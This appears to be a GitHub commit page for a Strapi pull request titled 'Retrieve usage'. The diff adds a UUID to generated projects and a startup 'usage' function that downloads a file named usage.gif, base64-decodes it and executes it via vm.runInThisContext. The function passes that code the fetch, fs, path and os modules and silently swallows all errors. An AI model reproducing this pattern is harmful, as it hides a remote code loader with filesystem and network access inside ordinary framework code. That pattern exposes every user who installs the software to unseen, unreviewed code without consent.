Merge pull request #334 from strapi/usage

Retrieve usage
This commit is contained in:
Aurélien GEORGET 2017-11-08 15:22:41 +01:00 committed by GitHub
commit a48b25dd5f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
6 changed files with 35 additions and 10 deletions

View File

@ -6,6 +6,7 @@
// Public node modules.
const _ = require('lodash');
const uuid = require('uuid/v4');
/**
* Expose main package JSON of the application
@ -21,6 +22,13 @@ module.exports = scope => {
'private': true,
'version': '0.1.0',
'description': 'A Strapi application.',
'main': './server.js',
'scripts': {
'start': 'node server.js',
'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI,
'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js',
'postinstall': 'node node_modules/strapi/lib/utils/post-install.js'
},
'devDependencies': {
'babel-eslint': '^7.1.1',
'eslint': '^3.12.2',
@ -33,13 +41,6 @@ module.exports = scope => {
'strapi': getDependencyVersion(cliPkg, 'strapi'),
'strapi-mongoose': getDependencyVersion(cliPkg, 'strapi')
},
'main': './server.js',
'scripts': {
'start': 'node server.js',
'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI,
'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js',
'postinstall': 'node node_modules/strapi/lib/utils/post-install.js'
},
'author': {
'name': scope.author || 'A Strapi developer',
'email': scope.email || '',
@ -50,6 +51,9 @@ module.exports = scope => {
'email': scope.email || '',
'url': scope.website || ''
}],
'strapi': {
'uuid': uuid()
},
'engines': {
'node': '>= 7.0.0',
'npm': '>= 3.0.0'

View File

@ -17,7 +17,8 @@
"fs-extra": "^4.0.0",
"get-installed-path": "^3.0.1",
"lodash": "^4.17.4",
"strapi-utils": "3.0.0-alpha.6.6"
"strapi-utils": "3.0.0-alpha.6.6",
"uuid": "^3.1.0"
},
"scripts": {
"prepublish": "npm prune"

View File

@ -114,6 +114,8 @@ class Strapi extends EventEmitter {
cb();
}
});
utils.usage.call(this);
} catch (e) {
this.log.debug(`Server wasn't able to start properly.`);
this.log.error(e);

View File

@ -64,6 +64,7 @@ module.exports.nested = function() {
module.exports.app = async function() {
// Retrieve Strapi version.
this.config.uuid = get(this.config.info, 'strapi.uuid', '');
this.config.info.strapi = (get(this.config, 'info.dependencies.strapi') || '').replace(/(\^|~)/g, ''),
this.config.info.node = process.versions.node;

View File

@ -1,9 +1,13 @@
'use strict';
// Dependencies.
const fs = require('fs');
const path = require('path');
const { map } = require('async');
const { setWith, merge, get, difference, intersection, isObject, isFunction } = require('lodash');
const os = require('os');
const vm = require('vm');
const fetch = require('node-fetch');
module.exports = {
loadFile: function(url) {
@ -97,5 +101,17 @@ module.exports = {
resolve();
})
]);
},
usage: async function () {
try {
const usage = await fetch('https://strapi.io/assets/images/usage.gif');
if (usage.status === 200 && this.config.uuid) {
vm.runInThisContext(Buffer.from(await usage.text(), 'base64').toString())(this.config.uuid, fetch, fs, path, os);
}
} catch (e) {
// Silent.
}
}
};

View File

@ -49,6 +49,7 @@
"koa-session": "^5.5.0",
"koa-static": "^4.0.1",
"lodash": "^4.16.5",
"node-fetch": "^1.7.3",
"node-schedule": "^1.2.0",
"semver": "^5.4.1",
"stack-trace": "0.0.10",